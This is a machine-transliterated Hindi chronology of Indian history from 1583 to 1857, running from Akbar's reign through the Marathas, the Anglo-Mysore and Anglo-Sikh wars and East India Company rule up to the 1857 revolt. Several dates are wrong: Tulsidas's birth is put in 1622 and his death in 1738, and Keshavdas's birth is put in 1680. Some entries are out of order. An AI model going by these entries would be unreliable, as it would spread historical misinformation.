233	1583 ee.	pahale paanch aangrez vyapari (j aaun nyoobari, richard stepar, ralf, jems stori tatha viliyam lids) akabar ke nam maharani elijabeth ka patr lekar bharat pahuanche, akabar se inaki mulaqat nahian ho paee, lekin lids ko akabar ke yahaan jhaveri ki naukari mil gee, phianch ath sal tak bharat-barma ki yatra karane ke bad 26 aprail, 1591 ko landan pahuancha, phianch ke vivaran se hi aangrez vyapariyoan ki bharat se vyapar karane ki lalasa balavati huee.
234	1585 ee.	kashmir par akabar ka adhipaty.
235	1589 ee.	raja todaramal ki mrityu.
236	1590–1592 ee.	akabar ki siandh par vijay.
237	1591 ee.	faizi ko mugal rajadoot banakar dakkan ke rajyoan mean bheja gaya.
238	1592 ee.	u disa par akabar ka adhikar.
239	1595 ee.	akabar ki kandhar vijay, baloochistan mugal samrajy mean sammilit.
240	1597 ee.	rana pratap ki mrityu.
241	1600 ee.	ahamadanagar ka patan, landan mean maharani elijabeth dvara apane bhaee jarj, arl aauf kambaralaiand tatha sar j aaun h aaurt ki eest iandiya kampani (d gavarnar eand kampani aauf landan trediang in tu d eest iandij) ko bharat se vyapar karane ke lie adhikar patr pradan kiya gaya.
242	1601 ee.	akabar ka asiragadh par adhikar.
243	1602 ee.	abul fajal ki mrityu, dach yoonivarsal yoonaited eest iandiya kampani ki sthapana, 13 varshoan mean hi halaind ke eshiya vyapar mean asadharan vriddhi.
244	1601–1603 ee.	akabar ke putr salim ka vidroh.
245	1605 ee.	akabar ki mrityu (16 aktoobar), jahaangir gaddi par baitha (24 aktoobar).
246	1606 ee.	shahajada khusaro ka vidroh, jahaangir ke adeshanusar paanchavean sikkh guru arjun dev ko pranadand, eeraniyoan dvara kandhar ka gherav, jahaangir ki meva d par chadhaee.
247	1607 ee.	mugaloan ke dvara kandhar mukt.
248	1608 ee.	ahamad nagar par malik ambar ka punah adhikar, ianglaind ke raja jems pratham ka patr lekar viliyam hakians jahaangir ke darabar mean bharat aya tatha tin sal tak usake darabar mean raha, 1612 mean vapas ianglaind lautakar bharat yatra ka vivaran likha, sant tukaram ka janm.
249	1609 ee.	pulikat mean dach phaiktari sthapit.
250	1611 ee.	masulipatatam mean aangrez phaiktari sthapit, jahaangir ka noorajahaan se vivah.
251	1611-1625 ee.	golakunda mean sultan muhammad kutubashah ka shasanakal.
252	1612 ee.	shahajada khurram (shahajahaan) ka mumataz mahal se vivah, bangal ki rajadhani rajamahal se dhaka sthanantarit.
253	1614 ee.	meva d ke rana amar sianh se jahaangir ki sandhi.
254	1615 ee.	meva d par jahaangir ka adhikar, ianglaind ke shasak jems pratham ke rajadoot ke roop mean sar tamas ro jahaangir ke darabar mean aya.
255	1620 ee.	kaang da par mugaloan ka adhikar.
256	1622 ee.	kandhar par faras ka punah adhikar, shahajahaan ka vidroh, gosvami tulasidas ka janm.
257	1625-1674 ee.	golakunda ki gaddi par sultan abdulla kutbashah baitha.
258	1624 ee.	ahamadanagar ke malik ambar ke hathoan mugal sena parajit.
259	1626 ee.	mahavat khaan ka vidroh.
260	1627 ee.	jahaangir ki mrityu (29 aktoobar), junnar (poona) ke nikat shivaneri ke qile mean shivaji ka janm (20 aprail).
261	1628 ee.	shahajahaan mugal samrat bana (6 faravari).
262	1631 ee.	mumataz mahal ki mrityu (7 joon).
263	1632 ee.	bijapur par mugal akraman, purtagaliyoan ke viruddh sainy abhiyan, hugali mean unaki basti nasht.
264	1633 ee.	ahamadanagar ke nizamashahi vansh ka ant, ahamadanagar mugal samrajy mean sammilit, daulatabad ke qile par adhikar.
265	1634 ee.	aangrezoan ko bangal mean vyapar karane ka faraman mila, mahavat khaan ki mrityu.
266	1636 ee.	bijapur aur golakunda se mugaloan ki sandhi, aurangazeb dakkan ka soobedar niyukt.
267	1638 ee.	ali mardan dvara kandhar mugaloan ko samarpit.
268	1638 ee.	shahajahaan dvara ne rajadhani shahar shahajahaannabad ka nirman prarambh.
269	1639 ee.	aangrezoan dvara madras mean seant j aaurj fort ki adharashila rakhi gee. (dakshin bharat)
270	1646 ee.	balkh par mugaloan ka adhikar, toran par shivaji ka adhikar.
271	1649 ee.	kandhar par par punah faras ka adhikar.
272	1650 ee.	marathi sant tukaram ka nidhan.
273	1656 ee.	shivaji ka javali par adhipaty.
274	1657 ee.	bidar ka patan aur mugaloan dvara bijapur ki gherabandi, shahajahaan ke asvasth hone par 'uttaradhikari ka yuddh' prarambh, bijapur ke sath dvitiy sandhi.
275	1658 ee.	dharamat ke yuddh (5 mee) tatha samoogadh ke yuddh (8 joon) mean dara ki aurangazeb ke hathoan parajay, shahajahaan agara mean bandi (5 joon), aurangazeb ka rajyabhishek (31 julaee).
276	1659 ee.	dara ko mrityudand, shivaji ke hathoan afazal khaan ki mrityu.
277	1660 ee.	mir jumala bangal ka soobedar niyukt, shivaji ke dvara dakshin karnatak kshetr mean charoan or hamale.
278	1661 ee.	murad ki hatya, purtagaliyoan dvara is shart par bambee aangrezoan ko hastaantarit ki gayi ki ve dachoan ko is kshetr mean vyapar se bahar khade dane mean inaka sath deange.
279	1662 ee.	mir jumala ka asam abhiyan.
280	1663 ee.	mir jumala ki mrityu, shaista khaan bangal ka soobedar niyukt.
281	1664 ee.	shivaji ka soorat par akraman, sthaniy purtagali upanivesh dvara shivaji ko varshik nazarana dena svikar, fraansisi eest iandiya kampani ki sthapana.
282	1665 ee.	raja jayasianh ke hathoan shivaji ki parajay, mugaloan ke sath shivaji ki purandar sandhi.
283	1666 ee.	shahajahaan ki mrityu, mugal darabar mean shivaji bandi (mee), nazarabandi se mukt.
284	1668 ee.	aurangazeb dvara hinduoan ke viruddh naye adesh, eest iandiya kampani ka poorn adhikar.
285	1669 ee.	mathura mean jat saradar gokul sianh ka vidroh, bambee par aangrez kampani ka poorn adhikar.
286	1670 ee.	shivaji ka soorat par doosara akraman.
287	1671 ee.	chhatrasal ke netritv mean buandeloan ka vidroh.
288	1672 ee.	aphridi tatha satanami vidroh, dam lauhem ke netritv mean fraansisiyoan ne shrilanka mean triankomali tatha chennee ke nikat seant tom par adhikar, kuchh samay ke pashchath dachoan ne fraansisiyoan se donoan sthanoan ko chhin liya.
289	1673 ee.	shivaji ka soorat par tisara akraman, hindi kavi dhananand ka janm.
290	1674 ee.	fraansisi kaptan fraansis martin ke dvara paanndicheri ki sthapana, shivaji dvara rajyabhishek (rayagadh mean) tatha 'chhatrapati' ki upadhi dharan, 'svaraj' ki sthapana.
291	1675 ee.	sikkh guru tegabahadur sianh ko aurangazeb dvara mrityudand.
292	1677 ee.	karnatak mean shivaji ki vijay.
293	1679 ee.	aurangazeb dvara jaziya kar punah aropit, marava d abhiyan.
294	1680 ee.	shivaji ki mrityu, shanbhaji peshava bana, alankaravadi hindi kavi keshavadas ka janm.
295	1681 ee.	asam punah svatantr, aurangazeb ka dakshin mean abhiyan.
296	1685 ee.	aangrez eest iandiya kampani ka mukhy vyapar karyalay soorat se bambee sthanantarit.
297	1686 ee.	aurangazeb ka bijapur par adhikar.
298	1687 ee.	golakunda mugal samrajy mean sammilit, aangrez kampani dvara aurangazeb ke viruddh yuddh ki ghoshana.
299	1689 ee.	aurangazeb dvara shanbhaji ko pranadand, rajaram sattaroodh, shahoo bandi bana.
300	1699 ee.	malava par marathoan ka pratham akraman.
301	1700 ee.	shanbhaji ke chhote bhaee rajaram ki mrityu, tarabaee ke sanrakshan mean shivaji tritiy (rajaram ka putr) gaddi par baitha.
302	1702 ee.	ianglaiannd mean rani ain gaddi par baithian, godolphin ke hastakshep se purani aur nayi kampaniyoan ko ekikaran kar nayi eest iandiya kampani ka uday.
303	1703 ee.	marathoan ka barar par akraman.
304	1706 ee.	marathoan ka gujarat par akraman, b dauda dhvast.
305	1707 ee.	aurangazeb ki mrityu, bahadurashah pratham (rajakumar muhammad muajjam) mugal samrat bana, shahoo mukt, tarabaee tatha shahoo samarthakoan ke madhy khe da ka yuddh, maratha rajy do bhagoan mean vibhakt, satara mean shahoo ka rajy tatha kolhapur mean tarabaee (ya shivaji tritiy) ka rajy, peshava balaji vishvanath, shahoo ke sath.
306	1708 ee.	shahoo ka rajyabhishek chhatrapati ke roop mean, balaji vishvanath ko 'senakarte' ki upadhi, sikkhoan ke antim guru goviand sianh ka nidhan (nade d mean).
307	1712 ee.	bahadurashah pratham ki mrityu, jahaandarashah uttaradhikari bana.
308	1713 ee.	jahaandarashah ki hatya, bandhuoan ki madad se farrukhasiyar sianhasanaroodh.
309	1714 ee.	balaji vishvanath ki 'peshava' ke pad par padonnati, husain ali dakshin ka soobedar, husain ali ki marathoan se sandhi.
310	1715 ee.	sikkh neta banda bahadur ko pranadand.
311	1717 ee.	eest iandiya kampani ko badashah farrukhasiyar ka svatantr vyapar (dyooti-fri) faraman, kalakatta ke nikat 37 gavoan ko kharidane ka adhikar bhi mila.
312	1719 ee.	farrukhasiyar ki hatya, muhammadashah raushan akhtar gaddi par asin (do alpakalik shasakoan rafi-ud-daula tatha rafi-ud-darajat ki mrityu ke uparant), mugal samrat dvara sanad pradan kar chauth tatha sadareshamukhi vasoolane ka adhikar tatha dakkan ke 6 sooboan ko svarajy pradan kiya gaya.
313	1720 ee.	bajirav pratham peshava bane, saiyyad bandhuoan ka ant, marathoan ka uttari abhiyan prarambh.
314	1723 ee.	shivaji ke guru samarth ramadas ki mrityu, peshava ka malava par akraman.
315	1724 ee.	sadat khaan avadh ka soobedar niyukt, dakshin mean nizam svatantr.
316	1725 ee.	shujauddin bangal ka soobedar.
317	1731 ee.	g aautanabarg mean samrat fredarik dvara 'svidish eest iandiya' ka gathan.
318	1735 ee.	mugal badashah dvara peshava bajirav pratham ko malava ke shasak ke roop mean svikriti.
319	1738 ee.	gosvami tulasidas (ramacharitamanas k rachayita) ka nidhan.
320	1739–40 ee.	dilli par nadirashah ka akraman, kohinoor hira evan takht-e-taoos nadirashah ke qabze mean, khurasan mean nadirashah ki usake hi senapatiyoan ke dvara hatya.
321	1740 ee.	sarafaraj khaan ki hatya kar alivardi khaan bangal ka navab bana, balaji bajirav peshava bane, arakat par marathoan ka akraman.
322	1742 ee.	bangal par marathoan ka akraman, doople paanndicheri ka gavarnar niyukt.
323	1744 ee.	yoorop mean phraans tatha ianglaind ke bich yuddh arambh, donoan ke vibhinn upaniveshoan mean tanav tatha sangharsh.
324	1746–48 ee.	pratham karnatak (aangl-fraansisi) yuddh.
325	1745 ee.	roohelakhand ruhilloan ke adhikar mean.
326	1746 ee.	la bordane ke netritv mean fraansisiyoan ka chennee par adhikar.
327	1747 ee.	ahamadashah abdali ka bharat par akraman.
328	1748 ee.	haidarabad ke nizam asafajah ki mrityu, putr nasir jang tatha mujaffar jang mean satta ke lie sangharsh, sangharsh ke karan nizam ka prabhav kshin tatha gaddi ke lie karnatak ke navab chanda sahab tatha navab anavaruddin ke bich sangharsh.
329	1748–51 ee.	ahamadashah abdali ka afaganistan aur panjab par adhikar, muhammadashah ki mrityu ke pashchath ahamadashah mugal badashah bana (1748).
330	1749 ee.	yoorop mean british aur fraansisiyoan ke bich 'eks-la-shapel' ki sandhi, bharat mean aangrezi aur fraansisi kampaniyoan mean bhi yuddh viram, fraansisiyoan dvara chennee aangrezoan ko vapas, shahoo ki mrityu tatha ramaraj ka chhatrapati ke roop mean rajyabhishek.
331	1750–1754 ee.	dvitiy karnatak yuddh, doople ki sahayata se chanda sahab ki anavaruddin par vijay, haidarabad ki nizamat mujaffar jang ko dilane ke lie chanda sahab tatha duple ka nasir jang par sammilit hamala, nasir jang ko 600 sainikoan ki sahayata, karnatak ki gaddi ke lie muhammad ali ko bhi aangrezi madad.
332	1751 ee.	arkat ke qile par rabart klaib ka adhikar, jisase fraansisi trichanapalli se hate, mujaffar jang ki mrityu, salavat jang nizam bana, alivardi khaan ki marathoan se sandhi.
333	1754 ee.	doople fraans vapas, godehoo naya fraansisi dayarektar janaral, godehoo tatha aangrez gavarnar saandars ke bich sandhi, donoan ka bharatiy riyasatoan ke antarik mamaloan mean hastakshep n karane ka nirnay, fraansisiyoan dvara aangrez samarthit muhammad ali karnatak ka navab svikrit, alamagir dvitiy mugal badashah bana.
334	1756 ee.	alivardi khaan ki mrityu, sirajuddaula bangal ki gaddi par asin tatha kalakatta par adhikar, tisara karnatak yuddh.
335	1757 ee.	plasi ke yuddh (23 joon) mean aangrezoan dvara sirajuddaula parajit, mir zafar navab banaya gaya (28 joon), aangrezoan ka kalakatta par punah adhikar, sirajuddaula ko mrityudand (2 julaee), aangrezoan ka rajanitik prabhutv sthapit.
336	1758 ee.	fraansisi gavarnar lali ka bharat agaman, aangrezoan ke viruddh abhiyan arambh, phort seant devid par qabza, panjab par marathoan ka adhikar.
337	1759	bangal mean aangrezoan dvara dach parajit, bidar ka yuddh, gajiuddin dvara alamagir dvitiy ki hatya, shahalam dvitiy badashah bana (1759-1806).
338	1760 ee.	vaandivas ke yuddh mean aangrezoan ke hathoan fraansisi parajit, robart klaib ianglaind vapas, mir qasim bangal ka navab bana.
339	1761 ee.	ahamadashah abdali tatha marathoan ke bich panipat ka tisara yuddh (14 janavari), marathe parajit, fraansisiyoan dvara paanndicheri aangrezoan ko samarpit, peshava bajirav ka nidhan, madhavarav sianhasanaroodh, haidar ali maisoor ka navab, avadh ka navab shujauddaula vazir bana.
340	1762 ee.	madhavarav ke sianhasanaroodh hone ke uparant raghunatharav dvara nizam se madad ki maang.
341	1763 ee.	aangrezoan dvara paanndicheri fraansisiyoan ko vapas, bangal evan bihar par mir qasim ka adhikar samapt, mir qasim nishkasit, mir zafar punah nabab bana, raghunatharav ka satta par qabza, madhavarav bandi.
342	1764 ee.	baksar ka yuddh, shahalam, shujauddaula tatha mir qasim ki sanyukt senayean aangrezoan se parajit.
343	1765 ee.	robart klaib dvara doosari bar punah bangal ka gavarnar banakar vapas aya, shujauddaula, shahalam tatha eest iandiya kampani ke madhy ilahabad ki sandhi, shahalam ne bihar, bangal tatha u disa ki divani eest iandiya kampani ko sauanpi, mir zafar ki mrityu.
344	1766 ee.	nizam ne uttari sarakar kshetr aangrezoan ko diya.
345	1767 ee.	robart klaib ianglaind vapas, verelast bangal ka gavarnar bana.
346	1767–69 ee.	pratham maisoor yuddh, aangrezoan ne apamanajanak shartoan par haidar ali se sandhi ki, haidar ali ka chennee abhiyan.
347	1769 ee.	nizam aur marathoan ke sath aangrezoan ki chennee sandhi.
348	1770 ee.	bangal mean bhishan durbhiksh, peris mean divaliya ho jane ke karan fraansisi eest iandiya kampani bhang.
349	1771 ee.	marathoan ka haidar ali par akraman, dilli par marathoan ka qabza, shahalam ko aangrezoan ke bandhan se mukti.
350	1772 ee.	varen hestiangs bangal ka gavarnarh niyukt, marathoan ka ruhelakhand par akraman, bharatiy mamaloan ke lie british sansad ki do sansadiy samitiyoan ka gathan, peshava madhavarav ki mrityu, narayanarav peshava bana, par hi shighr mrityu, avadh ke navab aur ruhilloan ka marathoan ke viruddh samajhauta, kampani dvara dvaidh shasan ke samapti ki tatha khud divan ka kary apane hathoan mean lene ki ghoshana.
351	1772–1833 ee.	raja ramamohan ray ka jivanakal.
352	1773 ee.	british sansad dvara regyuletiang ekt parit, kampani par sansad ka aanshik niyantran, chennee tatha bambee presidensiyoan par kalakatta presidensi ka aanshik niyantran, raghunatharav peshava bana, aangrezoan aur avadh ke navab ke bich ruhelakhand par sanyukt roop se chadhaee ka samajhauta.
353	1774 ee.	varen hestiangs bangal ka gavarnar-janaral bana, kalakatta mean pahale uchchatam nyayalay ki sthapana, narayanarav peshava bana.
354	1775 ee.	eest iandiya kampani aur avadh ke vazir asafuddaula ke bich (ek-doosare ke viruddh karravaee n karane ki) maitri sandhi, navab ne aangrezoan se sainy sahayata lene ke badale 2,60,000 rupaye pratimah dena svikar kiya, nand kumar par muqadama tatha mrityudand (6 mee), raghunatharav tatha aangrezoan ke bich soorat ki sandhi.
355	1775–1782 ee.	pratham aangl maratha yuddh.
356	1776 ee.	aangrezoan (karnal aptan) tatha marathoan (raghunatharav ke virodhiyoan) ke bich purandar ki sandhi.
357	1777 ee.	san 1857 ke vidrohi vir kuanvar sianh ka janm.
358	1778 ee.	yoorop mean aangrez-fraans yuddh, bharat mean fraansisi upaniveshoan par aangrezoan ka adhikar.
359	1779 ee.	marathoan tatha aangrezoan ke bich b dagaanv samajhauta marathoan ne 1773 mean khoe hue kshetr punah prapt kie, haidar ali, haidarabad ke nizam tatha marathoan aangrezoan ka virodh karane ko ekajut.
360	1780 ee.	kaiptan popham ke netritv mean eest iandiya kampani ka gvaliyar par adhikar, dvitiy maisoor yuddh prarambh, haidar ali dvara karnatak dhvast, maharaja ranajit sianh ka janm, jems hikki dvara 'bangal gajat' ka prakashan.
361	1781 ee.	eest iandiya kampani ne banaras ke raja chetasianh ko gaddi se hataya, portonova mean haidar ali parajit, regyuletiang ekt mean sanshodhan, varen hestiangs dvara 'kalakatta madarasa' ki sthapana, bangal mean 'bord aauf revenyoo' ki sthapana.
362	1782 ee.	aangrez, maratha aur haidar ali ke bich 'salabaee ki sandhi' haidar ali ki mrityu, bangal ki kha di mean aangrezoan tatha fraansisiyoan ke bich nausenik yuddh, aangrezoan ki madad se asafuddaula dvara avadh ki begamoan se dhan ugahi.
363	1782–99 ee.	tipoo sultan maisoor ka shasak bana.
364	1783 ee.	phaks ka iandiya bil british sansad mean asvikrit.
365	1784 ee.	tipoo sultan ke sath 'mangalaur ki sandhi', maisoor yuddh dvitiy ki samapti, bharatiy mamaloan ke lie 'bord aauf kantrol' ki sthapana hetu pit ka iandiya ekt british sansad mean parit, 'esiyatik sosaiti af bangal' ki sthapana.
366	1785 ee.	varen hestiangs ka tyagapatr, panjab mean sikhoan ka adhipaty, dilli par mahadaji siandhiya ka adhikar.
367	1786–1793 ee.	l aaurd karnavalis bangal ka gavarnar-janaral, gavarnar-janaral ko apane parishad ke nirnay ko nirast karane ki vyavastha.
368	1787 ee.	tipoo sultan ne peris aur kustunatuniya mean doot bheja, maratha, nizam tatha tipoo ke bich sandhi, maratha labhanvit, viliyam vilabarafors dvara 'dasata-virodhi lig' ki sthapana.
369	1788 ee.	gulam qadir ruhilla ka dilli par qabza, gulam qadir khan dvara shahalam dvitiy ko netrahin banaya gaya, bedar bakht dilli ki gaddi par asin.
370	1788–1795 ee.	varen hestiangs par mahabhiyog.
371	1789–90 ee.	tipoo sultan ka shravanakor par adhikar.
372	1789–1802 ee.	marathoan ka dilli par adhikar.
373	1790–92 ee.	tritiy maisoor yuddh (tipoo sultan aur aangrez, maratha ki sanyukt sena ke bich).
374	1792 ee.	shrirangapattanam ki sandhi ke sath tritiy maisoor yuddh samapt, panjab mean ranajit sianh sukarachakiya-misal ke mukhiya, jonathan dankan dvara varanasi mean rajakiy sanskrit mahavidyalay (bad mean sanskrit vishvavidyalay) ki sthapana.
375	1793–1798 ee.	bangal ke gavarnar-janaral sar j aaun shor ka karyakal.
376	1793 ee.	bangal mean bhoo-rajasv ka sthayi bandobast, british sansad dvara bharat mean yuddh niyantran vidheyak parit. paanndicheri par aangrezoan ka adhikar, kampani ke chartar ka navinikaran.
377	1794 ee.	poona mean mahadaji siandhiya (shiande) ka nidhan.
378	1795 ee.	kharda ke yuddh mean nizam ka marathoan ke samaksh samarpan, indaur ki rani ahilyabaee holkar ka nidhan, jonathan dankan bambee ka gavarnar niyukt.
379	1796 ee.	peshava madhavarav narayan ki mrityu, bajirav dvitiy peshava niyukt, aangrezoan dvara shrilanka ko dachoan se mukt karaya gaya.
380	1797 ee.	ahamad shah abdali ke pote jaman shah ka panjab par akraman. lahaur par adhikar. avadh mean navab asafuddaula ki mrityu. vazir ali naye navab (avadh), shrirangapattanam mean 60 fraansisiyoan dvara 'jaikobin klab' ki sthapana.
381	1798–1805 ee.	l aaurd velejali bangal ka gavarnar-janaral.
382	1798 ee.	ajid ali ko hatakar sadat ali avadh ka navab bana, nizam dvara ashram-sandhi par hastakshar, tipoo sultan ke viruddh aangrez, peshava aur nizam mean ekata, tipoo ne fraansisi upanivesh marishas ko doot bheja, nepoliyan bonapart ka misr abhiyan.
383	1799 ee.	nepoliyan bonapart ke kahira se likhe patr mean tipoo sultan ko aangrezoan se mukti dilane ka ashvasan. chauthe maisoor yuddh mean tipoo ki mrityu. maisoor vibhajan. maisoor rajavanshaj krishnaraj gaddi par asin. jaman shah dvara ranajit sianh lahaur ka soobedar niyukt. mailkam ke netritv mean aangrez dootamanndal eeran pahuancha. viliyam keri dvara seramapur mean baiptist mishan sthapit.
384	1800 ee.	peshava aur aangrezoan ke bich basin ki sandhi, aangrezoan dvara peshava punah poona ki gaddi par adhishthapit.
385	1803 ee.	dvitiy aangl maratha yuddh (1803-05) mean marathoan ki parajay. aligadh par aangrezoan ka adhikar. bhoansale ke sath eest iandiya kampani ki 'devagaanv ki sandhi' tatha siandhiya ke sath 'surji arjunagaanv ki sandhi'.
386	1804 ee.	jasavantarav holkar ke sath yuddh mean karnal monsan parajit. badashah shahalam dvitiy british sanrakshan ke adhin.
387	1805 ee.	aangrezoan ka bharatapur ka ghera asaphal, l aaurd velejali ko ianglaiannd vapas bulaya gaya, l aaurd karnavalis ki mrityu, holkar ke sath sandhi.
388	1805–1807 ee.	sar j aaurj barlo bangal ka gavarnar-janaral.
389	1806 ee.	akabar dvitiy shahalam dvitiy ka uttaradhikari bana, vellor sainik vidroh.
390	1807–1813 ee.	l aaurd minto pratham bangal ka gavarnar-janaral.
391	1807–1808 ee.	nepoliyan ki bharat par sanyukt fraansisi-roosi abhiyan yojana.
392	1808 ee.	mailkam ke netritv mean faras tatha elphinstan ke netritv mean kabul ke lie aangrez dootamandal bheja gaya.
393	1809 ee.	aangrezoan aur ranajit sianh ke bich 'amritasar ki sandhi' (25 aprail). satalaj poorv ki panjabi riyasat aangrezoan ke sanrakshan mean. ranajit sianh shasak svikrit.
394	1809–1811 ee.	ranajit sianh ka kaang da par qabza.
395	1813–1823 ee.	l aaurd hestiangs bangal ka gavarnar-janaral.
396	1813 ee.	eest iandiya kampani ka chartar navinikrit, shiksha par salana ek lakh rupaye kharch karane ka pravadhan.
397	1814–1816 ee.	nepal ke sath yuddh. gorakha tatha kampani ke bich 'sangauli ki sandhi' (1816) mean.
398	1815 ee.	ramamohan ray dvara 'atmiy sabha' ki sthapana. vataraloo ka yuddh.
399	1817 ee.	kalakatta mean 'hindoo k aaulej' ki sthapana (devid heyar tatha ramamohan ray dvara).
400	1817–1818 ee.	seramapur eesaee mishanari sanstha dvara bharatiy bhasha (baangla) mean 'samachar darpan' nam ka pahala saptahik prakashit. peshava bajirav dvitiy ka samarpan.
401	1819–1827 ee.	elaphianstan bambee ke gavarnar.
402	1819 ee.	peshava pad ki samapti. british vrittibhogi ki haisiyat se peshava bajirav dvitiy ko bithoor nivas, rajapootana ke rajaoan ke sath surakshatmak sandhi. tatya tope ka janm.
403	1820 ee.	munaro madras ka gavarnar bana. (dakshin bharat)
404	1821 ee.	poona mean sanskrit k aaulej ki sthapana.
405	1822 ee.	bambee mean 'netiv ejukeshan sosaiti' ki sthapana. 'bambee samachar' prakashit.
406	1823–1828 ee.	l aaurd emaharst bangal ka gavarnar-janaral niyukt.
407	1823 ee.	pres ardinens ke viruddh rajaramamohan ray ka jnapan. (isake bad karyavahak gavarnar-janaral edams ne mudranalayoan ke lie laiseans anivary kiya tha).
408	1824 ee.	bairakapur mean sainik vidroh (adhik bhatte ki maang par).
409	1824–26 ee.	pratham aangl-barma yuddh. yandaboo ki sandhi. arakan tatha tenasarim british samrajy mean shamil.
410	1824–1883 ee.	svami dayanand sarasvati ka jivanakal, ary samaj ki sthapana (1875 mean).
411	1825 ee.	prasiddh svatantrata senani dadabhaee nauroji ka janm (4 sitambar).
412	1826 ee.	bharatapur par aangrezoan ka adhikar.
413	1827 ee.	pahala vashpachalit yuddhapot 'iantarapraij' madras pahuancha. (dakshin bharat)
414	1828–1833 ee.	l aaurd viliyam baiantik bangal ka gavarnar-janaral.
415	1828 ee.	ramamohan ray dvara 'brahm samaj ki sthapana'. aikedamik esosieshan sthapit.
416	1829 ee.	l aaurd viliyam baiantik dvara sati pratha gairaqanooni ghoshit.
417	1829–1837 ee.	baiantik dvara thagoan ka daman.
418	1830 ee.	raja ramamohan ray dvara ianglaiannd bhraman. dharmasabha dvara kalakatta mean sati pratha par pratibandh lagane ke virodh mean sabha. eeshvarachandr gupta dvara bangal masik 'sanvad prabhakar' prakashit.
419	1831 ee.	maisoor ka raja padachyut. shasan british sarakar ke hath mean, rop d mean l aaurd viliyam baiantik aur ranajit sianh ki bheant.
420	1832 ee.	asam ke jaiantiya kshetr par aangrezoan ka adhipaty.
421	1833 ee.	eest iandiya kampani ke chartar ka navinikaran, vaidhanik shakti ka kendriyakaran. bangal ka gavarnar-janaral pahali bar bharat ke gavarnar-janaral ke nam se jane laga, bharatiy vidhi ayog ki niyukti, briten mean das-pratha par pratibandh lagaya gaya.
422	1833–1835 ee.	l aaurd viliyam baiantik bharat ka gavarnar-janaral.
423	1834 ee.	kurg par aangrezoan ka adhipaty. l aaurd maikale suprim kauansil mean pahala vidhi sadasy niyukt. sarakar dvara chay baganoan ki sthapana. agara prant ki sthapana.
424	1835–1836 ee.	sar charls metak aauf karyakari gavarnar-janaral.
425	1835 ee.	metak aauf dvara samachar patroan par se pratibandh samapt. l aaurd maikale ka shiksha niti par prastav. aangrezi (farasi ke sthan par) pahali bar sarakari bhasha bani. kampani ne pahali bar apane sikke jari kie (bina mugal samrat ke nam ke). kalakatta medikal k aaulej ki sthapana. kalakatta ke hindoo k aaulej mean dharmasabha ke tatvadhan mean pashchimi dhang ki pahali sarvajanik sabha (30 janavari) jisamean ramakamal sen ne maang ki thi ki sabhi zamidaroan tatha raiyyatoan ke jivan ke moolabhoot samajik arthik prashnoan par vichar-vimarsh kare.
426	1836–1842 ee.	l aaurd akalaind gavarnar-janaral.
427	1837 ee.	akabar dvitiy ka uttaradhikari bahadurashah dvitiy 'jafar' gaddi par asin, maharani viktoriya gaddi par asin.
428	1838 ee.	afaganistan ke bhoo. poo. shasak shahashuja, ranajit sianh tatha aangrezoan ke bich 'tripakshiy sandhi'. kabul-kandhar par aangrezoan ka adhikar. 'kalakatta sosaiti ph aaur d ekyoojishan af janaral nalej' nam ki sahityik vaicharik sanstha ki sthapana, keshavachandr sen ka janm (19 navambar).
429	1839 ee.	maharaja ranajit sianh ki mrityu. kalakatta tatha dilli ke bich ji. ti. rod ka kary arambh. aangrezoan dvara shahashuja ko kabul ka amir (bad mean yoonaited iandiya esosiyashan) ki sthapana (9 faravari). landan mean british iandiya sosaiti ki sthapana.
430	1839–1842 ee.	pratham aangl-afagan yuddh.
431	1840 ee.	afagan kabailiyoan ka vidroh, dost muhammad padachyut, mainchestar mean 'nardan seantral british iandiya sosaiti' ki sthapana.
432	1841 ee.	kalakatta mean 'desh hiteshani sabha' ki sthapana (3 aktoobar).
433	1841–1844 ee.	l aaurd elanabaro gavarnar-janaral.
434	1842 ee.	afaganistan mean aangrezi sena ka sanhar. kabul par punah adhipaty. dost muhammad punah amir bana. elanabaro ki shimala ghoshana. afaganistan se aangrezi sainik vapas.
435	1843 ee.	sindh par aangrezoan ka adhipaty. dasapratha par pratibandh. 'bangal british iandiya sosaiti' ki sthapana.
436	1844–1848 ee.	l aaurd hardiang gavarnar-janaral.
437	1844 ee.	l aaurd hardiang dvara sarakari naukariyoan mean aangrezi shikshit bharatiyoan ko niyukti dene ka nirnay. kaangres neta dinasha edulaji vacha ka janm.
438	1845–46 ee.	pratham aangl-sikh yuddh mean sikh parajit.
439	1846	aangrezoan tatha sikhoan ke bich lahaur ki sandhi.
440	1847 ee.	ru daki mean pratham ianjiniyariang k aaulej ki sthapana.
441	1848–1856 ee.	l aaurd dalahauzi gavarnar-janaral.
442	1848 ee.	satara british samrajy mean sammilit. god lene ki pratha par pratibandh. bambee mean 'stoodeants litareri eand saiantiphik sosaiti' ki sthapana.
443	1848–1849 ee.	doosare aangl sikh yuddh mean sikh parajit.
444	1849 ee.	panjab, jaitapura tatha sanbhalapur ka british samrajy mean vilay. kalakatta mean bethun dvara pahali kanya pathashala ki sthapana. dalahauzi dvara mugal rajavansh ki samapti par vichar.
445	1850 ee.	sikkim ka ek bhag aangrezoan ke qabze mean.
446	1851 ee.	kalakatta mean 'british iandiyan esosiyashan' ki sthapana.
447	1852 ee.	dvitiy aangl-barma yuddh. rangoon (vartaman yaangoon) tatha pegoo par adhipaty. bhootapoorv peshava bajirav dvitiy ki mrityu tatha usaki peanshan samapt. poona mean 'dakkan ejukeshan sosayati' ki sthapana. nizam dvara barar aangrezoan ka samarpit. kampani ke chartar ka navinikaran tatha pahali bar aee si es. (bharatiy prashasanik seva) pariksha prarambh. sasti dak seva prarambh.
448	1854 ee.	bangal mean nil vidroh.
449	1855 ee.	santhal vidroh. patasan udyog ki shuruat. kalakatta mean 'aanjumane islami' (ya mohammadan esosieshan) ki sthapana (mee 6).
450	1856 ee.	avadh british samrajy mean sammilit. bharatiy vishvavidyalay adhiniyam. bangal vidhan parishadh dvara hindoo vidhava punarvivah adhiniyam parit. yoorop mean krimiya yuddh samapt. bharatiy sainikoan ko inaphild rayaphal aur charbiyukt karatoos prayog ke lie diye gaye. kalakatta mean ianjiniyariang k aaulej ki sthapana.
451	1856–62 ee.	l aaurd kainiang gavarnar-janaral.
452	1857 ee.	kalakatta, bambee tatha madras vishvavidyalayoan ki sthapana. 1857 ka vidroh, keshavachandr sen brahm samaj mean shamil, mangal pande dvara lephtineant bag ki goli marakar hatya.
